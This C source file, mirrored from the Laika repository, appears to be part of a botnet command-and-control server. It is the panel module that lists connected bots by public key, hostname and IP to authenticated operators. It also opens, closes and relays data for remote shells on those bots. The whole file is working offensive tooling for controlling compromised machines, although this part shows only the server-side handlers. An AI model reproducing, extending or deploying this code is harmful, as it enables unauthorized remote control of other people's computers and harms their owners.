mirror of https://github.com/CPunch/Laika.git
123 lines
3.9 KiB
C
123 lines
3.9 KiB
C
#include "cpanel.h"
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#include "cnc.h"
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#include "core/lerror.h"
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#include "core/lmem.h"
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#include "cpeer.h"
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void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
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{
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struct sLaika_peer *peer;
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size_t i = 0;
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/* send authPeer details on each peer that *isn't* itself */
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while (laikaC_iterPeersNext(cnc, &i, &peer)) {
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if (peer != authPeer) {
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LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
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laikaC_sendNewPeer(authPeer, peer);
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}
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}
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}
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void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
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{
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laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
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/* write the peer's info */
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laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
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laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
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laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
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laikaS_write(&authPeer->sock, peer->ipStr, LAIKA_IPSTR_LEN);
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laikaS_writeByte(&authPeer->sock, peer->type);
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laikaS_writeByte(&authPeer->sock, peer->osType);
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laikaS_endOutPacket(authPeer);
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}
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void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
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{
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laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
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/* write the peer's pubkey */
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laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
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laikaS_writeByte(&authPeer->sock, peer->type);
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laikaS_endOutPacket(authPeer);
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}
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/* ================================[[ [Auth] Packet Handlers ]]================================= */
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void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
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void *uData)
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{
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uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
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struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
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struct sLaika_cnc *cnc = pInfo->cnc;
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struct sLaika_peer *peer;
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uint16_t cols, rows;
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/* read pubkey & find peer */
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laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
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if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
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LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
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if (peer->type != PEER_BOT)
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LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
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/* read term size */
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cols = laikaS_readu16(&authPeer->sock);
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rows = laikaS_readu16(&authPeer->sock);
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/* open shell */
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laikaC_openShell(peer, authPeer, cols, rows);
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}
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void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
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void *uData)
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{
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struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
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struct sLaika_cnc *cnc = pInfo->cnc;
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struct sLaika_shellInfo *shell;
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uint32_t id;
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id = laikaS_readu32(&authPeer->sock);
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/* ignore malformed packet */
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if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
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return;
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laikaC_closeShell(shell);
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}
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void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
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void *uData)
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{
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uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
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struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
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struct sLaika_cnc *cnc = pInfo->cnc;
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struct sLaika_peer *peer;
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struct sLaika_shellInfo *shell;
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uint32_t id;
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if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
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LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
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id = laikaS_readu32(&authPeer->sock);
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sz -= sizeof(uint32_t);
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/* ignore malformed packet */
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if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
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return;
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peer = shell->bot;
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/* read data */
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laikaS_read(&authPeer->sock, data, sz);
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/* forward to peer */
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laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
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laikaS_writeu32(&peer->sock, shell->botShellID);
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laikaS_write(&peer->sock, data, sz);
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laikaS_endVarPacket(peer);
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}
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